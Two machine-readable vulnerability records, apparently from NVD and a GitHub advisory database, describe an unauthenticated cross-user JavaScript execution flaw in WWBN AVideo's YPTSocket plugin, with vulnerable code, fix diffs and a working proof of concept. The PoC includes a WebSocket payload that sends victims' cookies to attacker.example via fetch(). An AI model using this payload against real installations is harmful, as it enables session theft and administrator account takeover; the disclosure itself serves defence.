{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA",
              "versionEndIncluding": "29.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, the YPTSocket plugin\u0027s WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution. Commit c08694bf6264eb4decceb78c711baee2609b4efd contains a fix."
    }
  ],
  "id": "CVE-2026-40911",
  "lastModified": "2026-06-17T10:45:52.320",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-40911",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-22T13:21:59.998968Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-21T21:16:45.350",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:50:05Z",
    "nvd_published_at": "2026-04-21T21:16:45Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe YPTSocket plugin\u0027s WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint \u2014 the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n    $obj-\u003emsg = \"Socket plugin not enabled\";\n    die(json_encode($obj));\n}\n$obj-\u003eerror = false;\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server\u0027s `onOpen` handler (`Message.php:44-52`) solely by successful decryption \u2014 there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` \u2014 the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n    ...\n    $json = _json_decode($msg);\n    if (empty($json-\u003ewebSocketToken)) { return false; }\n    if (!$msgObj = getDecryptedInfo($json-\u003ewebSocketToken)) { return false; }\n\n    switch ($json-\u003emsg) {\n        ...\n        default:\n            $this-\u003emsgToArray($json);\n            if (isset($json[\u0027from_identification\u0027])) {\n                $json[\u0027from_identification\u0027] = strip_tags((string)($msgObj-\u003euser_name ?? \u0027\u0027));\n            }\n            ...\n            } else {\n                $this-\u003emsgToAll($from, $json);  // broadcast\n            }\n            break;\n    }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg[\u0027callback\u0027])) {\n    $obj[\u0027callback\u0027] = $msg[\u0027callback\u0027];  // tainted\n    ...\n}\n...\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];  // tainted \u2014 entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` \u2192 eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n    var json = JSON.parse(e.data);\n    ...\n    yptSocketResponse = json;\n    parseSocketResponse();\n    ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n    const json = yptSocketResponse;\n    ...\n    if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n        eval(json.msg.autoEvalCodeOnHTML);   // \u003c-- attacker-controlled\n    }\n    ...\n}\n```\n\n### Client-side sink #2: `json.callback` \u2192 eval\n\n`plugin/YPTSocket/script.js:91-95` \u2014 `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval\u0027d string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) =\u003e { \u2026 processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n    var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n    socketLog(\u0027Executing callback:\u0027, json.callback);\n    eval(code);\n    ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 \u2014 obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s \u0027https://target.example/plugin/YPTSocket/getWebSocket.json.php\u0027\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"\u003clong encrypted token\u003e\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=\u003ctoken\u003e\u0026...\"}\n```\n\n**Step 2 \u2014 connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require(\u0027ws\u0027);\nconst TOKEN = \u0027\u003ctoken from step 1\u003e\u0027;\nconst URL   = \u0027\u003cwebSocketURL from step 1\u003e\u0027;\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on(\u0027open\u0027, () =\u003e {\n    // Payload 1 \u2014 primary sink (raw WebSocket transport):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: {\n            autoEvalCodeOnHTML:\n                \"fetch(\u0027https://attacker.example/x?c=\u0027+encodeURIComponent(document.cookie));\" +\n                \"alert(\u0027XSS as \u0027+document.domain);\"\n        }\n    }));\n\n    // Payload 2 \u2014 secondary sink (reaches both raw WS and Socket.IO clients):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: \"p\",\n        callback: \"alert(document.domain);window.x\"\n    }));\n});\n```\n\n**Step 3 \u2014 observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket\u0027s `script.js` \u2014 the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == \u0027function\u0027) { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker\u0027s JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online \u2014 including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker\u0027s actions cross the trust boundary into every other user\u0027s browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n-     eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel \u2014 if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n-     var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n-     eval(code);\n-     ...\n- } else {\n-     myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = [\u0027socketNewConnection\u0027, \u0027socketDisconnection\u0027, /* ... */];\n+ if (typeof json.callback === \u0027string\u0027 \u0026\u0026 ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+     \u0026\u0026 typeof window[json.callback] === \u0027function\u0027) {\n+     myfunc = window[json.callback];\n+     const event = new CustomEvent(json.callback, { detail: _details });\n+     document.dispatchEvent(event);\n+ } else {\n+     myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg[\u0027msg\u0027]` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = [\u0027type\u0027, \u0027text\u0027, \u0027videos_id\u0027, \u0027users_id\u0027, /* ... */];\nif (isset($json[\u0027msg\u0027]) \u0026\u0026 is_array($json[\u0027msg\u0027])) {\n    $json[\u0027msg\u0027] = array_intersect_key($json[\u0027msg\u0027], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n    unset($json[\u0027callback\u0027]);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all \u2014 the default branch of `onMessage` should require `$msgObj-\u003eisAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.",
  "id": "GHSA-gph2-j4c9-vhhr",
  "modified": "2026-04-24T20:30:41Z",
  "published": "2026-04-14T22:50:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40911"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks"
}